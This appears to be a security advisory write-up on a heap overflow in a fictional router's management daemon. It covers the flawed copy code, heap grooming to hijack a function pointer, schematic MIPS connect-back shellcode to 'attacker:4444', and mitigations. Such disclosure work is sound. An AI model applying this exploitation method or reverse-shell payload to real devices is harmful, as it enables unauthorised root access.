← All writeups
0-Day DisclosureJun 16, 2026· 9 min read

LOSEC-2026-031: Heap Overflow to Root on Meshwork MX-Series Routers

An unauthenticated request to the Meshwork MX router management daemon overflows a heap buffer during device-description parsing. With no ASLR and a predictable allocator, it is a clean pre-auth root on a MIPS target.

HE

@heapspray

LoSec Research

Summary

The Meshwork MX-series is a line of small-business mesh routers running a MIPS32 Linux firmware. Its management daemon, mxctld, exposes an unauthenticated device-description endpoint on the LAN (and, on misconfigured units, the WAN). A length field in that request is trusted, leading to a heap buffer overflow. Because the firmware ships without ASLR and with a deterministic allocator, this is a reliable pre-auth remote root.

Illustrative advisory. Meshwork and the MX-series are fictional; the exploitation workflow is representative of real embedded targets.

The bug

mxctld parses an XML-ish device description. It reads a declared content length, allocates a buffer, then copies the body — but the copy uses the actual body length, not the allocation size:

int parse_descr(int fd, char *hdr) {
    int declared = atoi(get_field(hdr, "X-Descr-Len"));
    char *buf = malloc(declared);        // attacker controls declared
    int n = recv_body(fd, body, MAX);    // attacker controls actual body
    memcpy(buf, body, n);                // n can exceed declared
    ...
}

Declare X-Descr-Len: 64, send a 4096-byte body, and memcpy writes 4 KiB into a 64-byte chunk. There is no bounds check anywhere between the header and the copy.

Shaping the heap

The allocator is a straightforward dlmalloc variant with no hardening — no safe unlinking, no heap cookies. Adjacent to our undersized chunk sits a descr_ctx structure containing a function pointer, ctx->on_complete, invoked once parsing finishes. Our overflow runs straight through the chunk header and into that pointer.

Because there is no ASLR, every address is a constant we can read out of the firmware image. We groom the heap with a few benign requests so that descr_ctx lands immediately after our buffer:

[ our 64B buf ][ chunk hdr ][ descr_ctx { ... on_complete } ]
        overflow  ───────────────▶ overwrite on_complete

We do not even need a ROP chain. The firmware maps a large, static, RWX region for its Lua bridge, and the stack is executable. Overwriting on_complete with the address of an attacker-staged buffer is enough.

The payload

We stage MIPS shellcode earlier in the same body (before the overflow bytes) so it lands at a known heap address. Classic cache-coherency caveat applies on MIPS: we must flush the instruction cache, so the shellcode opens with a synci sequence before doing anything else. The stage-one is a tiny connect-back that pulls a full BusyBox sh:

    # r/e MIPS stage-1 (schematic)
    li   $a0, 2          # AF_INET
    li   $a1, 1          # SOCK_STREAM
    li   $v0, 4183       # __NR_socket
    syscall
    # ...connect to attacker:4444, dup2 x3, execve /bin/sh

The overwritten on_complete transfers control to the staged buffer, the cache is flushed, and mxctld — running as root — hands us a shell.

$ ./mx_pwn 192.0.2.10
[*] grooming heap (6 reqs)
[*] sending overflow, len=4096 declared=64
[+] on_complete hijacked -> 0x00a41180
[+] shell:
# id
uid=0(root) gid=0(root)

End to end it is a single TCP connection and about 40 milliseconds.

Reliability

With no ASLR and a deterministic allocator, reliability is near 100% within a firmware version. The only variable is heap grooming, and the daemon conveniently resets its arena on each connection, so we start from a clean, predictable state every time. Different firmware builds shift the static addresses; we key the exploit off the Server: banner to pick the right offset table.

Detection and mitigation

For defenders now:

  • Block mxctld (TCP/2189) on the WAN interface — it should never face the internet.
  • Watch for device-description requests where the body length exceeds X-Descr-Len; that mismatch is the entire attack.

Vendor fix (firmware 3.4.1):

  1. Bound the copy by the allocation: memcpy(buf, body, min(n, declared)) and reject when n > declared.
  2. Enable ASLR and mark the Lua region non-executable (W^X).
  3. Add allocator hardening (safe unlink, heap canaries) in the SDK.

Disclosure timeline

  • 2026-04-28 — Reported with PoC and offsets.
  • 2026-05-02 — Reproduced by vendor PSIRT.
  • 2026-06-09 — Firmware 3.4.1 released.
  • 2026-06-16 — Advisory published.

Takeaway

Embedded targets keep teaching the same lesson: the exploit mitigations that made desktop memory corruption hard in 2015 still haven't reached the router in your closet. When the platform gives you no ASLR, an executable heap, and a naive allocator, a two-line integer mistake is a straight line to root. The bug was trivial; the environment made it devastating.

#iot#memory-corruption#exploit#firmware#mips
Share